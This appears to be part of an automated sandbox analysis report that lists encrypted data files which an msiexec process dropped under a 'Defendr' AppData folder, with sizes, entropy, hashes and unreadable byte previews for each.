Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv18.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	91207
Entropy (8bit):	7.998041486799748
Encrypted:	true
SSDEEP:	1536:AohPjAwtlx9NE0xivxzsyvfVZq2vJbKRypOHsDEO1TDnjsX12j:A+PsWl7NhCWy1BqMDJ1noXsj
MD5:	55023E704F32EB3F068C673D0FEA18CB
SHA1:	D20D01F61ACA12CB38E9C62737A895FFDDCF6A4E
SHA-256:	96C294875C7A8068301FB076CFC5DEFD26DF7B47AD875F6804886D0E374DD725
SHA-512:	1D8E2326C19FC3818AB0860ED0665F870550CD6E83DDE9856A344407484FFDA919E8FF63549F0EFDF1D0BCA2ADAA5E86A3D70735C52767E860DE191D391DBE19
Malicious:	false
Preview:	.#D...e..,...!G...A..Z\.Zs..s.....n...H.n..]...f..7Zc..\|..9."....V.<{%....x......J....l...u..a...lt49O.B8.k. .Y.&\..P..b..V..!..!"..f..5......F/n..<q.l....y:..t.qc...ng.,..............8."....7.H...B....i..V........m4..C!.\|-[.J<.f...#p.rTW.....N.t......GbT...Tc.Vk..`.....+........m.VM3....Ij.,.{e..)0.l..\9.....Z.`.....u.........-v.k.Cc.a.p.....SZ8.....= ..:..<.NO....;.0i.A~.C....[V..\|0.m#R.k.8..D....m..(Gk...,...'.nY4~..+z.......<ih..C....C.u.;&.00"....w...4..d.!f..._..Y+!0......u.\|.S.....9.......e=[....s....U..@.A...q.*.k1...b,p@..L..O.....O^>.AC...4zu...c:..6.....U%:_.b\/.....>.l..T.w..~.....`...E.J...`.}.`..wt_qQ..T/.a......Fl6..MV.U.5f#C.......`.E%.l......W....RB+.>+%.2/t.+.f....x....A...b.A....?7.....2............U.RD...\I..Vga...}...JF%....hN=...;........?....n:$...$S.P............{....F8..#...f...3.:Gc.X.....bg..b.ZL.....= 9.1p.)...d..W.Hq}.FmxP.s.t.....7......bkr.P.....O...W....:,...t...&.+..i.,/..w...d.......!..{/..Q.Q...._

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv18.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	70067
Entropy (8bit):	7.997558546255013
Encrypted:	true
SSDEEP:	1536:LEdkDhpUE4wxgU8wrLdymUCTWUMcLYJ5npJ:Yulp8wFgmUCKPcL8P
MD5:	26E1D8BF489FA30F98149CF812E0A1D2
SHA1:	3C063A89D5D9E18CAF21E35C398FD50E09D9426A
SHA-256:	340B5EA15AAC2496C69567327F34EB33E1AF6FC4BD8201B81E32A3816B475826
SHA-512:	BACB0C82B889AFC2DDC001D38CEAE7067204802F03A4AB7818888509007B1E70028BFC5A9C1C3C657C56BD6E0CE12DA7EE306B21D277D6B83F4FA05A93829963
Malicious:	false
Preview:	.#D...e..,...!G...A..Z\.Zs..s.....n...H.n..]...f..7Y...y+.....e.'...v).....5..'.{.?.K...+E.u........f/. \....$..@.......O.4..5......V..j&....A..I..Qx..Q..u...v.....4...k.B."=..}A....... \|^bU-._.4z..D.8......Q..wk....e....i..D.:COK..}'\|@...a!rr..I..=P....Y...A+k..........Y...5...%Dk.ch+X.._.\|rU..P.`....LU7(0=..A.:....{.8.kJ.;.~.p...]]....2....R.'..b.;6}7r....q......\|.../.9..k.u..!s....u....6.....v....o`.l.8........wJ:H.a`..hG./......?...}..#Q[.s..x.`. .(.M...B...:...^.z2.Oki....J.=r.....%....L1....m6.d....r...a.y..s.O......n...4..\|Uf......Q.k..9.,...4...J.n.j.......w.....sM.MCGNg....~....ZFM.K..U...}o....DF..Z.aI.`e.V}............0?.l.....>l.(....N...\|.O.{.H..7....}#Rr.A(vie.......o...y.,...xlG`...=...f.Xw.c..[8%.<..cF.aa7.....4....8:......6#.B.(..9^..g...S....).".....W....6.^.f....#......v..1;.ha,...>.5!1.7ruW0...._.>.N...$E..$..\|..+...'.)C>...KS...'..).!.k...'.....y.:..s...D. +CF.dz.,7vS.7....7.M-.....L.`....d<6.......,..H.u

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv19.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	100400
Entropy (8bit):	7.998110943531547
Encrypted:	true
SSDEEP:	1536:BW62nhG8AQQBT53JFN+5TpbPZVBGhxZi1Ka1UxtunyibE/A7H+RyMtcNltuFTJ5N:oFyQQFJFA5TFAu9nyizaRbtcNl2uo
MD5:	D0EA1D0ABDB8F217D26A0CC27116268C
SHA1:	74F9A8FDCD8A5279C6458A37B75C38A09A4C921B
SHA-256:	DC51F45745036F0A6F9F902BDC57412B928DB386BF0393497DEDF53D183833E2
SHA-512:	6555BE4B95F5C175527209C7C570E72A84EADE8484ADD399A1BE63EB3E80963DFF5EB72DFFFA33FEFC1946AAD340DD0E45DC63F793BE5FCC1F51A1B5757CC819
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv19.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	40466
Entropy (8bit):	7.995475681302088
Encrypted:	true
SSDEEP:	768:BW6Ng6eiZHToV4q3BzoK6hMB2gFuDkVk/xacKtpoLvzp5VTspL3hF/CnV7:BW6OvWToVT3BE1S0gQkgTKtp2v9n2B6
MD5:	F71B653B55720C08816297D442F005FF
SHA1:	EC97519842F03D1A7834565DFFE1A0A795FF03FE
SHA-256:	547CEE01D9AC02641550287145E9A8B33FAA10CF9D26EA53432924F0804EC4B0
SHA-512:	3CB0C4903C27F713FFFDE1B185895DF1DEA8EB7D1B34F87472F855B5AD6976333702CEA220793EDC7B25782BE872C5659AF5AB4974E1636BCD7D5BD734216DBB
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv2.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	98733
Entropy (8bit):	7.9984000423576855
Encrypted:	true
SSDEEP:	3072:oEHFcD+q5L9vgXaQc+DUY1yRibb3gw7+BJP:bFcKo9vgKf+DUYwRAjgw7+BR
MD5:	7AFF247D52FE6468A6E06E206616A83D
SHA1:	0965687E40619574263356EC26AB66DB93334A06
SHA-256:	67D33D3FF9384867E6175C75EF916F01EBF68DDD3C463371A537678866196690
SHA-512:	BCFE14A7C0C94CD30D62E3C8DED0A85E1AFF9062B0BD1CF9415E2673DC054B931FF7837387920C7F3CAF884721F967272534CC652BBAD41080C5517621F90CE2
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv2.2.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	78854
Entropy (8bit):	7.997783115871903
Encrypted:	true
SSDEEP:	1536:BW6NHF4xDpEHRBOuTsLQ4vXQKe5WQtNuTu7fM01vlPs1VQ5SKgK3xqxoYIMiALtG:oEHFcD+q5L9vgXWQCu7fBvmBKgK3xJ2E
MD5:	43CB62B23805F38DF000C7B9D0227402
SHA1:	00CFC3FB4D1292E824A76563E81078D2894B928B
SHA-256:	C5AD8B348F0C81F93FC6C5573FC6252E5D1F6FAC2A9810834B0222C41175CF0D
SHA-512:	8A04FA349BF29D2571915494DAD697DA2C55812A1A2BB4D38FEED36659E1809E5BC84F328CC857A12E15B3110327A3E264F236F7AA132345629F482307579F79
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv2.3.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	78869
Entropy (8bit):	7.997741561782965
Encrypted:	true
SSDEEP:	1536:BW6NHF4xDpEHRBOuTsLQ4vXQKe5iSzOyXAOV23EiYqZSQWvBOgdXySw4SUGyyW1X:oEHFcD+q5L9vgXiuAArpqpWQgO4SUhy0
MD5:	306A37CCC16E48CD582D0AA8E2643C6B
SHA1:	1DA98DA8E420081FC1C66737F42C4DBFE679DE65
SHA-256:	875CEC1FC380D90F8E4F0405A35AD8B370F30B3C4FCEC33150CF31D7EE650EA6
SHA-512:	FFD0EFDB82DE109715A1965B511FA92D3755AEB79BC0400A9DE7E3B175DB554F699F63F53A2F6F1D50431B9C1782238F1FE3AB78F7F2285C71480521154A28E9
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv2.4.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	62087
Entropy (8bit):	7.997256717321158
Encrypted:	true
SSDEEP:	1536:BW6L7jPEVdlmZuDSjp6r2mb79JEfwf6I0kZ0calY:o07jPqQeSjUrfJZ0calY
MD5:	068530597136C000D573D2CBF07DCA45
SHA1:	2D80345B8550146498393A3DC533EE8EF21D48B0
SHA-256:	D122CAB4C0DD68F062F3ECA1831521456916655D90AD728CF37E9BC2E18B0B1F
SHA-512:	314631DF622F5F104FA0325F7F4CA3246E9013489B12A15302A224F2D026077AC3C48C2B3E770EEB232841CAE01E92E1527DCBBBB89D1AD69A06885E869F58D9
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv2.5.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	70895
Entropy (8bit):	7.9976539954309205
Encrypted:	true
SSDEEP:	1536:BW6NHF4xDpEHRBOuTsLQ4vXQKe56b/H854Ys+9T1OM4FXNB+xwVvhzSmLhEPbOke:oEHFcD+q5L9vgXFKmT+zEK1zhEPC24
MD5:	62BD966FFC5049BF7EB18A93FCA491B0
SHA1:	3C4BB0234E229219E5F346A2007082F780BE1C0D
SHA-256:	14CA1F80674F606C54925B3B6862C7751BCD75B0C15C22002E954B0D33ED0F85
SHA-512:	CA1AE12DF982CBC242237A0BA50DD21A16A24281745DE9AEF0B2CE8E92179119CA38605FA26B2559C1055CA18E2577A073A2FCF9F5D5CE733778569EB91F9271
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv2.6.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	31651
Entropy (8bit):	7.994928165465702
Encrypted:	true
SSDEEP:	768:BW6NuYrJzFZdFjqpB/yTzryiNGB7S44Gork1d+34PMO9GTgr:BW6gYrJroyvNiz4GoY1db9e6
MD5:	D5A0EC5D290F02C4D03068DD57ECF672
SHA1:	4243FB0146728E2D5566ED7D771156DCE1A2FCA3
SHA-256:	6DF1BC6AB82B91079D9372B28E30CBCFDCB0168A36480A47BE76C73F3F49FAF7
SHA-512:	9D383AB71F87FC155E57DB2BD23C6EAADE5EBA87E0684CA9DEF92F6CDA46F29E306FFDC597C84780A4CE48D82207AABE7C4584CE9A357E5D24F33BBAD44C7162
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv20.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	58143
Entropy (8bit):	7.996907279683717
Encrypted:	true
SSDEEP:	1536:BW68TO2X/i2z79oufxd9UELdfqShtnwjpMR7h34ZsG7c:orTOI/Tf9ouZde+/76pJD7c
MD5:	24B707FD8F1EA5BE94980DB03F9A4974
SHA1:	8A43A69E524AA1C3DFCDB9733B6F24FBF494A983
SHA-256:	D40D84E9BF8832D4E07C6F20B94E3C65779F5676250AB5CA2339B3DCBF0EC84D
SHA-512:	0811F17839C30C6E375D29A41D1B0F973A988F73D0E3433C70E96D71210E98EAED82AB0FFB9932F804F946F322F3EF05BB97B3A345BCB80648906F61C675ECEF
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv20.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	36741
Entropy (8bit):	7.99573234379355
Encrypted:	true
SSDEEP:	768:BW6NdIsjO+mlsN5Eju86k+lC3KI1T2xshPQZpjmz6+psQtHml:BW68/lsNCjuT5MKI1K+BY06Oel
MD5:	C4A315EC291DE2F3F060B1EFF06F822C
SHA1:	0AC931648653F07C6853E0BA0DA03369AF79B228
SHA-256:	5514E5CDA485D604D5D175050276EB54BC537AC3EDBB7FA9BE6BDF14922F995A
SHA-512:	CEB7EB6FC34073C090C4DB6B3AAEAD2A52BCC8339903B7EA9458B65E63B77B002734E10270C2140DE9813C98CE7F7F7D5738BEAD2047D603934A5FBE130CCC1A
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv21.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	99457
Entropy (8bit):	7.998216605387722
Encrypted:	true
SSDEEP:	3072:oevBHKusW1xg1krVLPOuzHUg28+U9NdaXUHro:bBHKusMW1tujUrUXdaXUHE
MD5:	8BACDD58461F723850227630FEA68F61
SHA1:	33C75A0B8BD260F260090ABF8F25BF94A11ADA73
SHA-256:	79DF17693D9C2475D709983ABE3B900E751BD1E58964EE34BBE8EA916FA07CBB
SHA-512:	69D1D1E4563A8DE7E597249F5490517807A89CBA0E72AB07C70A75800A41CDF5B54923E0C0FAB27CCEBEA3B20999C09A0E0BEDD40218473E8C07D637EADEB5D8
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv21.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32168
Entropy (8bit):	7.994435253905921
Encrypted:	true
SSDEEP:	768:BW6NE6olB/BmXzITGVePTRquaTG1vjNFKaVtKJWs08:BW6+RmD8rrjKqtKJWsx
MD5:	6C692AE84BE3FE987C5FC52FD5AEB9B1
SHA1:	FA422785D76A48DA99F731A0DB17478D7D142824
SHA-256:	16CFB08F9CC69C1ACDCE702214720F818686CFA9A42F3FF05526694564FFB431
SHA-512:	8D9C011936519483B04D6D1336D9BEA2272633BD550BF0DDB6033D06635EBF19DBA581D9FA8455A41BFA5DFC53D0171BFF7B692EC3750C21EF50D4C1F50B5A7C
Malicious:	false
